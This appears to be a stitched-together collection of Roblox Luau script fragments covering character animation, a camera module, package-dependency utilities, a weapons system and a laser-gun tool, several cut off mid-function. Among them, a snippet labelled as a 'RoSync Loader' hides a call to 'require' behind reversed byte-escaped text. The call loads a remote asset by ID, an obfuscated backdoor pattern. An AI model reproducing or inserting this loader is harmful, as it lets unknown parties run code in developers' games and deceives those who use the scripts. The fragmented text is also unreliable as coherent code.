setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed > 0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
|
--[[ Last synced 4/4/2021 09:13 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
|
function ClassicCamera:SetCameraMovementMode(cameraMovementMode: Enum.ComputerCameraMovementMode)
BaseCamera.SetCameraMovementMode(self, cameraMovementMode)
self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow
self.isCameraToggle = cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle
end
function ClassicCamera:Update()
local now = tick()
local timeDelta = now - self.lastUpdate
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local overrideCameraLookVector = nil
if self.resetCameraAngle then
local rootPart: BasePart = self:GetHumanoidRootPart()
if rootPart then
overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector
else
overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector
end
self.resetCameraAngle = false
end
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA("VehicleSeat")
local isOnASkateboard = cameraSubject and cameraSubject:IsA("SkateboardPlatform")
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
local rotateInput = CameraInput.getRotation()
self:StepZoom()
local cameraHeight = self:GetCameraHeight()
-- Reset tween speed if user is panning
if CameraInput.getRotation() ~= Vector2.new() then
tweenSpeed = 0
self.lastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE
local subjectPosition: Vector3 = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetIsMouseLocked() and not self:IsInFirstPerson() then
-- We need to use the right vector of the camera after rotation, not before
local newLookCFrame: CFrame = self:CalculateNewLookCFrameFromArg(overrideCameraLookVector, rotateInput)
local offset: Vector3 = self:GetMouseLockOffset()
local cameraRelativeOffset: Vector3 = offset.X * newLookCFrame.rightVector + offset.Y * newLookCFrame.upVector + offset.Z * newLookCFrame.lookVector
--offset can be NAN, NAN, NAN if newLookVector has only y component
if Util.IsFiniteVector3(cameraRelativeOffset) then
subjectPosition = subjectPosition + cameraRelativeOffset
end
else
local userPanningTheCamera = CameraInput.getRotation() ~= Vector2.new()
if not userPanningTheCamera and self.lastCameraTransform then
local isInFirstPerson = self:IsInFirstPerson()
if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then
local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if Util.IsFinite(y) then
rotateInput = rotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
tweenSpeed = math.clamp(tweenSpeed + tweenAcceleration * timeDelta, 0, tweenMaxSpeed)
local percent = math.clamp(tweenSpeed * timeDelta, 0, 1)
if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then
percent = 1
end
local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())
if Util.IsFinite(y) and math.abs(y) > 0.0001 then
rotateInput = rotateInput + Vector2.new(y * percent, 0)
end
end
elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then
-- Logic that was unique to the old FollowCamera module
local lastVec = -(self.lastCameraTransform.p - subjectPosition)
local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector())
-- This cutoff is to decide if the humanoid's angle of movement,
-- relative to the camera's look vector, is enough that
-- we want the camera to be following them. The point is to provide
-- a sizable dead zone to allow more precise forward movements.
local thetaCutoff = 0.4
-- Check for NaNs
if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then
rotateInput = rotateInput + Vector2.new(y, 0)
end
end
end
end
if not self.isFollowCamera then
local VREnabled = VRService.VREnabled
if VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
local cameraFocusP = newCameraFocus.p
if VREnabled and not self:IsInFirstPerson() then
local vecToSubject = (subjectPosition - camera.CFrame.p)
local distToSubject = vecToSubject.magnitude
local flaggedRotateInput = rotateInput
-- Only move the camera if it exceeded a maximum distance to the subject in VR
if distToSubject > zoom or flaggedRotateInput.x ~= 0 then
local desiredDist = math.min(distToSubject, zoom)
vecToSubject = self:CalculateNewLookVectorFromArg(nil, rotateInput) * desiredDist
local newPos = cameraFocusP - vecToSubject
local desiredLookDir = camera.CFrame.lookVector
if flaggedRotateInput.x ~= 0 then
desiredLookDir = vecToSubject
end
local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)
newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)
end
else
local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)
newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
end
else -- is FollowCamera
local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)
if VRService.VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, cameraHeight, 0)
end
local toggleOffset = self:GetCameraToggleOffset(timeDelta)
newCameraFocus = newCameraFocus + toggleOffset
newCameraCFrame = newCameraCFrame + toggleOffset
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
if (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then
self.lastSubjectCFrame = cameraSubject.CFrame
else
self.lastSubjectCFrame = nil
end
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
function ClassicCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function ClassicCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return ClassicCamera
|
--[[START]]
|
script.Parent:WaitForChild("Bike")
script.Parent:WaitForChild("IsOn")
script.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Values")
|
--[=[
Utility methods to build a virtual graph of the existing package information set
@private
@class PackageInfoUtils
]=]
|
local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils)
local LoaderConstants = require(script.Parent.LoaderConstants)
local Queue = require(script.Parent.Queue)
local ScriptInfoUtils = require(script.Parent.ScriptInfoUtils)
local Utils = require(script.Parent.Utils)
local PackageInfoUtils = {}
function PackageInfoUtils.createPackageInfo(packageFolder, explicitDependencySet, scriptInfoLookup, fullName)
assert(typeof(packageFolder) == "Instance", "Bad packageFolder")
assert(type(explicitDependencySet) == "table", "Bad explicitDependencySet")
assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup")
assert(type(fullName) == "string", "Bad fullName")
return Utils.readonly({
name = packageFolder.Name;
fullName = fullName;
instance = packageFolder;
explicitDependencySet = explicitDependencySet;
dependencySet = false; -- will be filled in later, contains ALL expected dependencies
scriptInfoLookup = scriptInfoLookup;
})
end
function PackageInfoUtils.createDependencyQueueInfo(packageInfo, implicitDependencySet)
assert(type(packageInfo) == "table", "Bad packageInfo")
assert(type(implicitDependencySet) == "table", "Bad implicitDependencySet")
return Utils.readonly({
packageInfo = packageInfo;
implicitDependencySet = implicitDependencySet;
})
end
function PackageInfoUtils.fillDependencySet(packageInfoList)
assert(type(packageInfoList) == "table", "Bad packageInfoList")
local queue = Queue.new()
local seen = {}
do
local topDependencySet = {}
for _, packageInfo in pairs(packageInfoList) do
if not seen[packageInfo] then
topDependencySet[packageInfo] = packageInfo
seen[packageInfo] = true
queue:PushRight(PackageInfoUtils.createDependencyQueueInfo(packageInfo, topDependencySet))
end
end
end
-- Flaw: We can enter this dependency chain from multiple paths (we're a cyclic directed graph, not a tree)
-- TODO: Determine node_modules behavior and copy it (hopefully any link upwards words)
-- For now we do breadth first resolution of this to ensure minimal dependencies are accumulated for deep trees
while not queue:IsEmpty() do
local queueInfo = queue:PopLeft()
assert(not queueInfo.packageInfo.dependencySet, "Already wrote dependencySet")
local dependencySet = PackageInfoUtils
.computePackageDependencySet(queueInfo.packageInfo, queueInfo.implicitDependencySet)
queueInfo.packageInfo.dependencySet = dependencySet
-- Process all explicit dependencies for the next level
for packageInfo, _ in pairs(queueInfo.packageInfo.explicitDependencySet) do
if not seen[packageInfo] then
seen[packageInfo] = true
queue:PushRight(PackageInfoUtils.createDependencyQueueInfo(packageInfo, dependencySet))
end
end
end
end
function PackageInfoUtils.computePackageDependencySet(packageInfo, implicitDependencySet)
assert(type(packageInfo) == "table", "Bad packageInfo")
assert(type(implicitDependencySet) == "table", "Bad implicitDependencySet")
-- assume folders with the same name are the same module
local dependencyNameMap = {}
-- Set implicit dependencies
if LoaderConstants.INCLUDE_IMPLICIT_DEPENDENCIES then
for entry, _ in pairs(implicitDependencySet) do
dependencyNameMap[entry.name] = entry
end
end
-- These override implicit ones
for entry, _ in pairs(packageInfo.explicitDependencySet) do
dependencyNameMap[entry.name] = entry
end
-- clear ourself as a dependency
dependencyNameMap[packageInfo.name] = nil
-- Note we leave conflicting scripts here as unresolved. This will output an error later.
local dependencySet = {}
for _, entry in pairs(dependencyNameMap) do
dependencySet[entry] = true
end
return dependencySet
end
function PackageInfoUtils.getOrCreatePackageInfo(packageFolder, packageInfoMap, scope, defaultReplicationType)
assert(typeof(packageFolder) == "Instance", "Bad packageFolder")
assert(type(packageInfoMap) == "table", "Bad packageInfoMap")
assert(type(scope) == "string", "Bad scope")
assert(defaultReplicationType, "No defaultReplicationType")
if packageInfoMap[packageFolder] then
return packageInfoMap[packageFolder]
end
local scriptInfoLookup = ScriptInfoUtils.createScriptInfoLookup()
ScriptInfoUtils.populateScriptInfoLookup(
packageFolder,
scriptInfoLookup,
defaultReplicationType)
local explicitDependencySet = {}
local fullName
if scope == "" then
fullName = packageFolder.Name
else
fullName = scope .. "/" .. packageFolder.Name
end
local packageInfo = PackageInfoUtils
.createPackageInfo(packageFolder, explicitDependencySet, scriptInfoLookup, fullName)
packageInfoMap[packageFolder] = packageInfo
-- Fill this after we've registered ourselves, in case we're somehow in a recursive dependency set
PackageInfoUtils.fillExplicitPackageDependencySet(
explicitDependencySet,
packageFolder,
packageInfoMap,
defaultReplicationType)
return packageInfo
end
function PackageInfoUtils.getPackageInfoListFromDependencyFolder(folder, packageInfoMap, defaultReplicationType)
assert(typeof(folder) == "Instance" and folder:IsA("Folder"), "Bad folder")
assert(type(packageInfoMap) == "table", "Bad packageInfoMap")
assert(defaultReplicationType, "No defaultReplicationType")
local packageInfoList = {}
-- Assume we are at the dependency level
for _, instance in pairs(folder:GetChildren()) do
if instance:IsA("Folder") then
-- We loop through each "@quenty" or "@blah" and convert to a package
if instance.Name:sub(1, 1) == "@" then
local scope = instance.Name
for _, child in pairs(instance:GetChildren()) do
PackageInfoUtils.tryLoadPackageFromInstance(packageInfoList, packageInfoMap, child, scope, defaultReplicationType)
end
else
PackageInfoUtils.tryLoadPackageFromInstance(packageInfoList, packageInfoMap, instance, "", defaultReplicationType)
end
else
warn(("Unknown instance in dependencyFolder - %q"):format(instance:GetFullName()))
end
end
return packageInfoList
end
function PackageInfoUtils.tryLoadPackageFromInstance(
packageInfoList, packageInfoMap, instance, scope, defaultReplicationType)
assert(type(packageInfoList) == "table", "Bad packageInfoList")
assert(type(packageInfoMap) == "table", "Bad packageInfoMap")
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(scope) == "string", "Bad scope")
assert(defaultReplicationType, "No defaultReplicationType")
if BounceTemplateUtils.isBounceTemplate(instance) then
return
end
if instance:IsA("Folder") or instance:IsA("ModuleScript") then
table.insert(packageInfoList, PackageInfoUtils.getOrCreatePackageInfo(
instance, packageInfoMap, scope, defaultReplicationType))
elseif instance:IsA("ObjectValue") then
local value = instance.Value
if value and (value:IsA("Folder") or value:IsA("ModuleScript")) then
table.insert(packageInfoList, PackageInfoUtils.getOrCreatePackageInfo(
value, packageInfoMap, scope, defaultReplicationType))
else
error(("Invalid %q ObjectValue in package linking to nothing cannot be resolved into package dependency\n\t-> %s")
:format(instance.Name, instance:GetFullName()))
end
end
end
|
--Set up WeaponTypes lookup table
|
do
local function onNewWeaponType(weaponTypeModule)
if not weaponTypeModule:IsA("ModuleScript") then
return
end
local weaponTypeName = weaponTypeModule.Name
xpcall(function()
coroutine.wrap(function()
local weaponType = require(weaponTypeModule)
assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName()))
WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType
end)()
end, function(errMsg)
warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg))
warn(debug.traceback())
end)
end
for _, child in pairs(WeaponTypes:GetChildren()) do
onNewWeaponType(child)
end
WeaponTypes.ChildAdded:Connect(onNewWeaponType)
end
local WeaponsSystem = {}
WeaponsSystem.didSetup = false
WeaponsSystem.knownWeapons = {}
WeaponsSystem.connections = {}
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
WeaponsSystem.currentWeapon = nil
WeaponsSystem.aimRayCallback = nil
WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent")
local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks"))
NetworkingCallbacks.WeaponsSystem = WeaponsSystem
local _damageCallback = nil
local _getTeamCallback = nil
function WeaponsSystem.setDamageCallback(cb)
_damageCallback = cb
end
function WeaponsSystem.setGetTeamCallback(cb)
_getTeamCallback = cb
end
function WeaponsSystem.setup()
if WeaponsSystem.didSetup then
warn("Warning: trying to run WeaponsSystem setup twice on the same module.")
return
end
print(script.Parent:GetFullName(), "is now active.")
WeaponsSystem.doingSetup = true
--Setup network routing
if IsServer then
local networkFolder = Instance.new("Folder")
networkFolder.Name = "Network"
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
local remoteEvent = Instance.new("RemoteEvent")
remoteEvent.Name = remoteEventName
remoteEvent.Parent = networkFolder
local callback = NetworkingCallbacks[remoteEventName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...)
callback(...)
end)
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
local remoteFunc = Instance.new("RemoteEvent")
remoteFunc.Name = remoteFuncName
remoteFunc.Parent = networkFolder
local callback = NetworkingCallbacks[remoteFuncName]
if not callback then
--Connect a no-op function to ensure the queue doesn't pile up.
warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!")
warn("A default no-op function will be implemented so that the queue cannot be abused.")
callback = function() end
end
remoteFunc.OnServerInvoke = function(...)
return callback(...)
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end
networkFolder.Parent = WeaponsSystemFolder
WeaponsSystem.networkFolder = networkFolder
else
WeaponsSystem.StarterGui = game:GetService("StarterGui")
WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem)
WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem)
if ConfigurationValues.SprintEnabled.Value then
WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value)
end
if ConfigurationValues.SlowZoomWalkEnabled.Value then
WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value)
end
local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge)
for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do
coroutine.wrap(function()
local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge)
local callback = NetworkingCallbacks[remoteEventName]
if callback then
WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...)
callback(...)
end)
end
WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent
end)()
end
for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do
coroutine.wrap(function()
local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge)
local callback = NetworkingCallbacks[remoteFuncName]
if callback then
remoteFunc.OnClientInvoke = function(...)
return callback(...)
end
end
WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc
end)()
end
Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded)
if Players.LocalPlayer.Character then
WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character)
end
WeaponsSystem.networkFolder = networkFolder
WeaponsSystem.camera:setEnabled(true)
end
--Setup weapon tools and listening
WeaponsSystem.connections.weaponAdded = CollectionService:GetInstanceAddedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponAdded)
WeaponsSystem.connections.weaponRemoved = CollectionService:GetInstanceRemovedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponRemoved)
for _, instance in pairs(CollectionService:GetTagged(WEAPON_TAG)) do
WeaponsSystem.onWeaponAdded(instance)
end
WeaponsSystem.doingSetup = false
WeaponsSystem.didSetup = true
end
function WeaponsSystem.onCharacterAdded(character)
-- Make it so players unequip weapons while seated, then reequip weapons when they become unseated
local humanoid = character:WaitForChild("Humanoid")
WeaponsSystem.connections.seated = humanoid.Seated:Connect(function(isSeated)
if isSeated then
WeaponsSystem.seatedWeapon = character:FindFirstChildOfClass("Tool")
humanoid:UnequipTools()
else
humanoid:EquipTool(WeaponsSystem.seatedWeapon)
end
end)
end
function WeaponsSystem.shutdown()
if not WeaponsSystem.didSetup then
return
end
for _, weapon in pairs(WeaponsSystem.knownWeapons) do
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons = {}
if IsServer and WeaponsSystem.networkFolder then
WeaponsSystem.networkFolder:Destroy()
end
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
for _, connection in pairs(WeaponsSystem.connections) do
if typeof(connection) == "RBXScriptConnection" then
connection:Disconnect()
end
end
WeaponsSystem.connections = {}
end
function WeaponsSystem.getWeaponTypeFromTags(instance)
for _, tag in pairs(CollectionService:GetTags(instance)) do
local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag]
if weaponTypeFound then
return weaponTypeFound
end
end
return nil
end
function WeaponsSystem.createWeaponForInstance(weaponInstance)
coroutine.wrap(function()
local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance)
if not weaponType then
local weaponTypeObj = weaponInstance:WaitForChild("WeaponType")
if weaponTypeObj and weaponTypeObj:IsA("StringValue") then
local weaponTypeName = weaponTypeObj.Value
local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName]
if not weaponTypeFound then
warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName()))
return
end
weaponType = weaponTypeFound
else
warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName())
return
end
end
-- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue
-- making a new weapon if something else beat this iteration.
if WeaponsSystem.getWeaponForInstance(weaponInstance) then
warn("Already got ", weaponInstance:GetFullName())
warn(debug.traceback())
return
end
-- We should be pretty sure we got a valid weaponType by now
assert(weaponType, "Got invalid weaponType")
local weapon = weaponType.new(WeaponsSystem, weaponInstance)
WeaponsSystem.knownWeapons[weaponInstance] = weapon
end)()
end
function WeaponsSystem.getWeaponForInstance(weaponInstance)
if not typeof(weaponInstance) == "Instance" then
warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.")
return nil
end
return WeaponsSystem.knownWeapons[weaponInstance]
end
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
UserInputService = game:GetService("UserInputService")
AmmoDisplay = script:WaitForChild("AmmoDisplay"):Clone()
CastLaser = Tool:WaitForChild("CastLaser"):Clone()
Camera = game:GetService("Workspace").CurrentCamera
BaseUrl = "http://www.roblox.com/asset/?id="
AnimationTracks = {}
LocalObjects = {}
Animations = {
Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2},
Fire = {Animation = Tool:WaitForChild("Fire"), FadeTime = 0.25, Weight = nil, Speed = 0.5, Duration = 0.5},
Reload = {Animation = Tool:WaitForChild("Reload"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2},
}
Sounds = {
Reload = Handle:WaitForChild("Reload"),
NoAmmo = Handle:WaitForChild("NoAmmo"),
}
Modules = Tool:WaitForChild("Modules")
Functions = require(Modules:WaitForChild("Functions"))
Remotes = Tool:WaitForChild("Remotes")
ServerControl = Remotes:WaitForChild("ServerControl")
ClientControl = Remotes:WaitForChild("ClientControl")
ConfigurationBin = Tool:WaitForChild("Configuration")
Configuration = {}
Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration)
InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputButton = Instance.new("ImageButton")
InputButton.Name = "InputButton"
InputButton.Image = ""
InputButton.BackgroundTransparency = 1
InputButton.ImageTransparency = 1
InputButton.Size = UDim2.new(1, 0, 1, 0)
InputButton.Parent = InputCheck
Cursors = {
Normal = (BaseUrl .. "170908665"),
EnemyHit = (BaseUrl .. "172618259"),
}
Rate = (1 / 60)
FiringOffset = Vector3.new(0, ((Handle.Size.Y / 4) - 0.2), -(Handle.Size.Z / 2))
Reloading = false
MouseDown = false
ToolEquipped = false
Tool.Enabled = true
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(AnimationTracks) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(AnimationTracks, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(AnimationTracks, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(AnimationTracks) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop(value.FadeTime)
table.remove(AnimationTracks, i)
end
end
end
end
function ToggleGui()
if not AmmoDisplayClone or not AmmoDisplayClone.Parent then
return
end
local Frame = AmmoDisplayClone.Frame
local Ammo = Frame.Ammo
if Configuration.Ammo.ClipSize.MaxValue > 0 then
Ammo.AmmoCounter.CounterPart.Text = Configuration.Ammo.ClipSize.Value
end
Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value
end
function Reload()
if Reloading or not Tool.Enabled or Configuration.Ammo.Magazines.Value >= Configuration.Ammo.Magazines.MaxValue then
return
end
Tool.Enabled = false
Reloading = true
ToggleGui()
local CanReload = true
if Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value <= 0 then
CanReload = false
else
CanReload = true
end
if CanReload then
Spawn(function()
local Animation = Animations.Reload
OnClientInvoke("PlayAnimation", Animation)
wait(Animation.Duration)
OnClientInvoke("StopAnimation", Animation)
end)
Sounds.Reload:Play()
local AddedClips = ((Configuration.Ammo.Magazines.MaxValue > 0 and (Configuration.Ammo.Magazines.MaxValue - Configuration.Ammo.Magazines.Value)) or Configuration.Ammo.ClipSize.MaxValue)
if Configuration.Ammo.ClipSize.MaxValue > 0 then
AddedClips = ((AddedClips > Configuration.Ammo.ClipSize.Value and Configuration.Ammo.ClipSize.Value) or AddedClips)
end
--[[local ReloadRate = (Configuration.ReloadTime.Value / Configuration.Ammo.Magazines.MaxValue)
for i = 1, AddedClips do
wait(ReloadTime)
Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + 1)
end]]
wait(Configuration.ReloadTime.Value)
Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + AddedClips)
Configuration.Ammo.ClipSize.Value = (Configuration.Ammo.ClipSize.Value - AddedClips)
Sounds.Reload:Stop()
ToggleGui()
end
Reloading = false
Tool.Enabled = true
end
function RayTouched(Hit, Position)
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = character.Parent
end
if character == Character then
return
end
local Player = character:FindFirstChild("Player")
local SoundChosen = Sounds.RayHit
if not Player or Player.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and Functions.IsTeamMate(Player, player) then
return
end
Spawn(function()
IconChangeTick = tick()
PlayerMouse.Icon = Cursors.EnemyHit
wait(1)
if (tick() - IconChangeTick) >= 0.95 and ToolEquipped and PlayerMouse then
PlayerMouse.Icon = Cursors.Normal
end
end)
end
function FireRay(StartPosition, TargetPosition)
local Direction = CFrame.new(StartPosition, TargetPosition).lookVector
local RayHit, RayPos, RayNormal = Functions.CastRay(StartPosition, Direction, Configuration.Range.Value, {Character}, false)
local Backpack = Player:FindFirstChild("Backpack")
if Backpack then
local LaserScript = CastLaser:Clone()
local StartPos = Instance.new("Vector3Value")
StartPos.Name = "StartPosition"
StartPos.Value = StartPosition
StartPos.Parent = LaserScript
local TargetPos = Instance.new("Vector3Value")
TargetPos.Name = "TargetPosition"
TargetPos.Value = RayPos
TargetPos.Parent = LaserScript
local RayHit = Instance.new("BoolValue")
RayHit.Name = "RayHit"
RayHit.Value = RayHit
RayHit.Parent = LaserScript
LaserScript.Disabled = false
LaserScript.Parent = Backpack
end
Spawn(function()
InvokeServer("CastLaser", {StartPosition = StartPosition, TargetPosition = RayPos, RayHit = ((RayHit and true) or false)})
end)
Spawn(function()
InvokeServer("RayHit", {Hit = RayHit, Position = RayPos})
end)
RayTouched(RayHit, RayPos)
end
function Button1Pressed(Down)
if not Down and MouseDown then
MouseDown = false
end
end
function KeyPress(Key, Down)
if Key == "r" and Down then
Reload()
end
end
function Activated()
if not Tool.Enabled or not ToolEquipped or Reloading then
return
end
Tool.Enabled = false
if Configuration.Ammo.Magazines.Value > 0 then
local FirstShot = false
if Configuration.Automatic.Value then
MouseDown = true
end
OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = nil})
OnClientInvoke("PlayAnimation", Animations.Fire)
while MouseDown or not FirstShot and ToolEquipped and CheckIfAlive() do
if Configuration.Ammo.Magazines.Value <= 0 or not ToolEquipped or not CheckIfAlive() then
break
end
if not FirstShot then
FirstShot = true
end
local BurstAmount = math.random(Configuration.Burst.Bullets.MinValue, Configuration.Burst.Bullets.MaxValue)
local WithinFiringRange = false
Spawn(function()
InvokeServer("Fire", true)
end)
for i = 1, ((BurstAmount > 0 and BurstAmount) or 1) do
local TargetPosition = OnClientInvoke("MousePosition")
if not TargetPosition then
break
end
TargetPosition = TargetPosition.Position
local StartPosition = (Handle.CFrame * CFrame.new(FiringOffset.X, FiringOffset.Y, FiringOffset.Z)).p
if BurstAmount > 0 then
local Offset = (Configuration.Burst.Offset.Value * 100)
